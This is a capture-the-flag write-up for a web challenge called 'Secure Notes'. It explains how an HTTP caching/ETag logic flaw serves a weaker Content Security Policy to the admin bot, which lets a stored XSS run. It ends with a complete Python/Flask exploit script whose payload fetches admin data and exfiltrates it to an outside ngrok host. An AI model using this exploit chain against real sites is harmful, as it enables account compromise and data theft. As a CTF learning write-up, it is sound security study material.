đźš© BKISC CTF - Secure Notes

Executive Summary

  • OS: Linux
  • Key Technique: The application has a note-viewing endpoint that is vulnerable to a Content Security Policy (CSP) bypass via a logic flaw in its HTTP caching mechanism. This allows an attacker to force an admin bot to execute a stored XSS payload from its local cache by triggering a 304 Not Modified response that serves a weakened CSP, thus allowing the exfiltration of sensitive admin data.
  • Status: Completed

Reconnaissance

Configurations

There is a bot.py file inside the codebase, let’s take a look at that:

center

Inside the bot’s browser options, the author deliberately configured --disable-features=BlockInsecurePrivateNetworkRequests which effectively bypasses restrictions that prevent public websites from fetching resources on the private local network, highly hinting cross-site attacks such as CSRF.

center

The application used EJS which is a template engine, in EJS, undefined means unescaped raw content, by grepping it in the codebase, we can see what appears to be a sink for our exploit:

center

The there is a HTML escape function inside the app.js file but was not used on our sink, this confirms the vulnerability.

center

The flag is served through an endpoint called /api/admin/data. If we can somehow make the admin bot to visit our malicious note, we can set-up a malicious XSS payload inside the note’s content that triggeres a request to the internal /api/admin/data and retrieve the flag.

center

First Look

center

The website is note sharing platform, where we can write a new notes and/or report a note to the admin and sharing the note, in order to create a note, we need to sign in. However, since we do not have any accounts initially, we need to register ourselves to the system.

center

Good thing is, the website has a rather handy register function, by clicking Create one instantly on the login page, the website immediately create an account with a random username for us and set us a cookie that we can use to create our own notes right away.

center

We can see that the content of the note suppose HTML. To confirm our exploit source, we can try adding a new note with the content being an XSS payload:

<img src=x onerror=alert(1)>

center

Our payload is injected inside the DOM of the page right away, however, the payload was not executed. However, the moment we click the share button, our familiar alert popup was invoked.

center

It turns out that the moment we click the share button, our browser send a request to and endpoint at /api/note/:note_id/share that do something in the backend, and change the initial strict CSP of our note page to the loose CSP directives.

center

This seems to be our pivoting point for this challenge, the XSS path does not seem to be straightforward as we initially thought.

Exploitation

Let’s go back to the codebase to see what’s actually going on.

center

When we create a new note, the note has its shared options default to false.

center

At /api/note/:id/share, the application defines a logic that flip essentially does the flipping between the shared and not shared state of a note. When a note is set to shared, the note has an attribute called shareTime. This attribute is used inside logic used to displayed the note at /note/:id endpoint.

center

TL;DR

If-None-Match header is the header that contains an etag which is essentially a unique identifier (a random string) of a version of the page on the server.

When the /note/:id page is loaded for the first time inside a browser, the server sends back an Etag header inside the response, the browser then store that string inside its memory. When the page is requested for the second time, the browser sends another request with the etag attached to it inside the If-None-Match header. If the etag on the server has changed (meaning the state of the page stored on the server has changed), the server will send back a new page together with the new etag, otherwise the server responds with a 304 Not Modified and the browser load the page with its cached version inside it memory.

In this case, when we create a new note inside our browser, using our own account:

  • We got redirected to the note’s page, our browser sends a request without If-None-Match header.
  • The server set the note.lastFreshView to the current time

center

When we click on the Share button:

  • The shared attribute of the note changes and the note has a new attribute called shareTime.

Then we immediately got redirected to the note page again:

  • This time, the server sends a new request with the previous etag.
  • The server receives the request, seeing that there is a If-None-Match header so it does not update the note.lastFreshView anymore. Instead, it checks the conditions:
    • Is note.shareTime = true? : Yes.
    • Does note.lastFreshView exists ?: Yes.
    • Is note.shareTime > note.lastFreshView ?: Yes.

Since all the conditions are satisfied, the server responds back with a new etag and the loose CSP directives.

center

There is a vulnerability in the application’s setup, is that the note.lastFreshView was not tied to any specific account or session. Any account that visit the page can set this note.lastFreshView to the current time, including the admin’s account.

If we can track when the admin visit our note for the first time - this set the note.lastFreshView time - and we immediately fire the request to the /api/note/:id/share endpoint then force the admin to refresh the page, we can successfully expose the admin to the loose CSP page and make the request to /api/admin/data and exfiltrate the flag.

To do this, instead of sending the admin the note’s URL, we can send it the URL of a website that we host publicly. The moment the admin’s browser lands on our website, we open a new window (this can happen since the admin’s browser has disabled popup blocking) inside the admin’s browser leading to our note page, essentially setting the note.lastFreshView, then we send a share request to the server, and then finalize the exploit by redirect the admin to our note page using Javascript’s location.href = NOTE_URL and trigger the XSS.

center

PoC

import requests
import base64
import time
import threading
from flask import Flask, request
 
app = Flask(__name__)
 
TARGET_URL = "http://127.0.0.1:3000" 
BOT_INTERNAL_URL = "http://localhost:3000"
EXPLOIT_SERVER = "http://0.tcp.ap.ngrok.io:23558"
 
session = requests.Session()
note_path = ""
 
@app.route('/')
@app.route('/')
def serve_exploit():
    print("[*] Bot visited the exploit page!")
    html = f"""
    <!DOCTYPE html>
    <html>
    <body>
    <script>
        const NOTE_URL = "{BOT_INTERNAL_URL}{note_path}";
        const EXPLOIT_SERVER = "{EXPLOIT_SERVER}";
 
        let win = window.open(NOTE_URL);
 
        setTimeout(() => {{
            fetch(EXPLOIT_SERVER + "/trigger_share")
                .then(() => {{
                    location.href = NOTE_URL;
                }});
        }}, 2500); 
    </script>
    </body>
    </html>
    """
    return html
 
@app.route('/trigger_share')
def trigger_share():
    print("[*] Sending the sharing request...")
    headers = {"Content-Type": "application/json"}
    res = session.post(TARGET_URL + "/api" + note_path + '/share', headers=headers)
    
    if res.status_code == 200:
        print("[+] Note successfully shared!")
    else:
        print("[-] Failed to share note.")
    
    return "OK"
 
@app.route('/log')
def log_flag():
    flag = request.args.get('data')
    print(f"\n[!!] FLAG: {base64.b64decode(flag).decode() if flag else 'No data'}")
    return "OK"
 
def setup_and_report():
    global note_path
 
    time.sleep(2)
    
    print("[*] Registering...")
    res = session.get(TARGET_URL + "/register")
    if res.status_code != 200:
        print("[-] Registration failed")
        return
 
 
    print("[*] Creating XSS Note...")
    malicious_js = f"fetch('/api/admin/data').then(r=>r.text()).then(d=>fetch('{EXPLOIT_SERVER}/log?data='+encodeURIComponent(btoa(d))))"
    xss_payload = f'<img src="x" onerror="{malicious_js}">'
    note_data = {"title": "XSS", "content": xss_payload}
    res = session.post(TARGET_URL + "/api/note", data=note_data, allow_redirects=False)
    note_path = res.headers.get('Location')
    print(f"[+] Note created at {note_path}")
 
 
    print("[*] Sending the bot to our page...")
    report_data = {"url": EXPLOIT_SERVER}
    res = session.post(TARGET_URL + "/report", data=report_data)
    print("[+] Report sent.")
 
if __name__ == '__main__':
    threading.Thread(target=setup_and_report).start()
    print("[*] Starting Exploit Server on port 80...")
    app.run(host='0.0.0.0', port=80)